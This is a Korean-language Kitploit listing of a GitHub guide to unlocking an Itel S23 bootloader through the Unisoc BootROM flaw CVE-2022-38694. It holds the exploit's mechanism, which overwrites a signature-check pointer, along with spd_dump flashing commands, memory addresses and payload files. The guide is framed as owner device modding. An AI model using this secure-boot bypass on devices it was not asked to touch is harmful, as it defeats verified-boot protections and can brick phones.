Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
ubl-itel-s23 — Itel S23 (S665L) / Unisoc T606의 부트로더를 CVE-2022-38694를 사용하여 잠금 해제 | Kitploit
도구/GitHubGitHub/aureliusivaninvenioptl/ubl-itel-s23
Android SecurityEmbedded Systems SecurityReconnaissanceVulnerability AnalysisExploitationMobile SecurityHardware SecurityLearning & EducationBinary Exploitation
GitHubaureliusivaninvenioptl/ubl-itel-s23

ubl-itel-s23

Itel S23 (S665L) / Unisoc T606의 부트로더를 CVE-2022-38694를 사용하여 잠금 해제

5개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

부트로더 잠금 해제 — Itel S23 (S665L) / Unisoc T606

CVE-2022-38694 익스플로잇을 사용하여 Unisoc T606 (UMS9230) 칩셋 기반 Itel S23 (S665L)의 부트로더를 잠금 해제하는 가이드입니다.

기기 정보

속성값
브랜드Itel
모델S665L (S23)
Android12 (SDK 31)
빌드S665L-F065OPRSUVApAqAr-S-GL-20250207V533
SoCUnisoc T606 (UMS9230)
CPU2x Cortex-A75 + 6x Cortex-A55 (ARMv8, 64-bit)
저장소UFS
슬롯A/B

사전 요구 사항

  • Linux (Fedora 43에서 테스트 완료)
  • adb 및 fastboot 설치
  • USB 데이터 케이블 (충전 전용 케이블 불가)
  • 배터리 최소 80%
  • 개발자 옵션에서 OEM 잠금 해제 활성화
  • 개발자 옵션에서 USB 디버깅 활성화
  • 모든 데이터 백업 (잠금 해제 후 초기화됨)

파일 구조

root@kitploit:~
ubl-itel-s23/
├── README.md
├── CLAUDE.md
├── recovery/
│   ├── TWRP_S665L.img              # TWRP 리커버리 이미지
│   └── OrangeFox_S665L.img         # OrangeFox 리커버리 이미지
└── tools/
    └── spreadtrum_flash_linux/
        ├── spd_dump                 # BootROM 통신 도구
        ├── gen_spl-unlock           # 잠금 해제 페이로드 생성기
        ├── unlock.sh                # 자동 잠금 해제 스크립트
        ├── fdl1-dl.bin              # 1단계 로더
        ├── fdl2-dl.bin              # 2단계 로더
        ├── fdl2-cboot.bin           # 잠금 해제용 수정된 uboot
        ├── custom_exec_no_verify_65015f08.bin  # CVE 익스플로잇 페이로드
        ├── custom_exec_no_verify_65015f48.bin  # CVE 익스플로잇 페이로드 (대체)
        ├── splloader.bin            # SPL 백업 (과정 중 생성)
        ├── uboot.bin                # uboot 백업 (과정 중 생성)
        ├── spl-unlock.bin           # 잠금 해제 페이로드 (과정 중 생성)
        └── ums9230/itel/            # Itel UMS9230용 FDL 바이너리

작동 원리 (CVE-2022-38694)

이 익스플로잇은 Unisoc BootROM의 취약점을 이용하여 서명 확인이 완료되기 전에 메모리 영역에 데이터를 쓸 수 있도록 합니다.

root@kitploit:~
정상:   BootROM → verify(FDL1) → REJECT (미서명)
익스플로잇:  BootROM → overwrite verify() → verify = always_true
               → accept(FDL1) → ACCEPT → 부트로더 잠금 해제

custom_exec_no_verify 페이로드(96바이트)는 주소 0x65015f08에 있는 서명 확인 함수 포인터를 덮어써서 BootROM이 서명을 확인하지 않고 모든 FDL1을 수락하도록 합니다.

잠금 해제 과정

초기 설정

  1. USB 접근을 위한 udev 규칙 설치:
root@kitploit:~
sudo tee /etc/udev/rules.d/51-android.rules << 'EOF'
# Google/Android (ADB & Fastboot)
SUBSYSTEM=="usb", ATTR{idVendor}=="18d1", MODE="0666", GROUP="plugdev"
# Spreadtrum/Unisoc
SUBSYSTEM=="usb", ATTR{idVendor}=="1782", MODE="0666", GROUP="plugdev"
EOF
sudo udevadm control --reload-rules && sudo udevadm trigger
  1. FDL 파일과 익스플로잇 페이로드를 작업 디렉토리로 복사:
root@kitploit:~
cd tools/spreadtrum_flash_linux
cp ums9230/itel/fdl1-dl.bin ums9230/itel/fdl2-dl.bin ums9230/itel/fdl2-cboot.bin .
cp ums9230/custom_exec_no_verify_65015f08.bin ums9230/custom_exec_no_verify_65015f48.bin .
chmod +x spd_dump gen_spl-unlock

1단계 — splloader 및 uboot 백업, splloader 삭제

휴대폰이 전원이 켜져 있고 USB로 연결된 상태여야 합니다. 이 단계 이후에는 6단계까지 휴대폰이 부팅되지 않습니다.

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f48 fdl fdl1-dl.bin 0x65000800 \
  fdl fdl2-dl.bin 0x9efffe00 exec \
  r splloader r uboot e splloader e splloader_bak reset

splloader.bin과 uboot.bin을 안전한 위치에 백업:

root@kitploit:~
cp splloader.bin uboot.bin backup_spl/

2단계 — 잠금 해제 페이로드 생성

root@kitploit:~
./gen_spl-unlock splloader.bin 0xfd28

출력: spl-unlock.bin

오프셋 0xfd28은 이 펌웨어에 특화된 값입니다. splloader.bin의 크기를 확인하세요 — 오프셋은 파일 크기와 일치해야 합니다.

3단계 — 수정된 uboot 플래시

BROM 모드 진입: 휴대폰 전원을 끄고 볼륨 다운 버튼을 누른 상태에서 USB를 연결합니다.

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f08 fdl fdl1-dl.bin 0x65000800 \
  fdl fdl2-dl.bin 0x9efffe00 exec \
  w uboot fdl2-cboot.bin reset

4단계 — 잠금 해제 페이로드 전송

다시 BROM 모드로 진입한 후:

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f08 fdl spl-unlock.bin 0x65000800

device removed, exiting... 메시지가 보이면 성공을 의미합니다.

5단계 — 잠금 해제 상태 확인

다시 BROM 모드로 진입한 후:

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f08 fdl fdl1-dl.bin 0x65000800 \
  fdl fdl2-dl.bin 0x9efffe00 exec \
  verbose 2 read_part miscdata 8192 64 m.bin reset
  • recv 64 zero = 여전히 잠김 (실패)
  • recv 32 string + hash data = 잠금 해제됨 (성공)

6단계 — splloader 및 uboot 복원

다시 BROM 모드로 진입한 후:

root@kitploit:~
sudo ./spd_dump exec_addr 0x65015f08 fdl fdl1-dl.bin 0x65000800 \
  fdl fdl2-dl.bin 0x9efffe00 exec \
  w splloader splloader.bin w uboot uboot.bin reset

휴대폰이 재부팅됩니다. Android Recovery 화면이 나타나면 공장 초기화를 선택하세요.

ADB를 통한 확인

휴대폰이 Android로 부팅된 후:

root@kitploit:~
adb shell getprop ro.boot.vbmeta.device_state
# 예상: unlocked

adb shell getprop ro.boot.flash.locked
# 예상: 0

중요 참고 사항

  • 잠금 해제 후 휴대폰 부팅 시 경고 화면이 표시됩니다 (정상입니다)
  • OTA 업데이트가 작동하지 않을 가능성이 높습니다
  • 보증이 무효화됩니다
  • splloader.bin과 uboot.bin을 삭제하지 마십시오 — 문제 발생 시 복원에 필요합니다
  • 1단계는 주소 0x65015f48을 사용하고, 3-6단계는 0x65015f08을 사용합니다

크레딧 및 참고 자료

도구

  • spd_dump / CVE-2022-38694 부트로더 잠금 해제 by TomKing062 / QuTick102 https://github.com/TomKing062/CVE-2022-38694_unlock_bootloader

  • 리커버리 컬렉션 및 Spreadtrum Flash Tool (Linux) by Massatriof16 https://massatriof16.github.io/recovery-collections/#alat

  • unisoc-unlock (Python 대체 도구) by patrislav1 https://github.com/patrislav1/unisoc-unlock

가이드 및 참고 자료

  • Itel S23 부트로더 잠금 해제 가이드 — XDA 포럼
  • Identifier Token을 사용하여 Unisoc (SPD) 부트로더 잠금 해제 방법 — Hovatek
  • SUBUT — Spreadtrum/Unisoc 부트로더 잠금 해제 도구 (웹)

리커버리 이미지

  • Itel S23용 TWRP 및 OrangeFox — Massatriof16 리커버리 컬렉션
도구 다운로드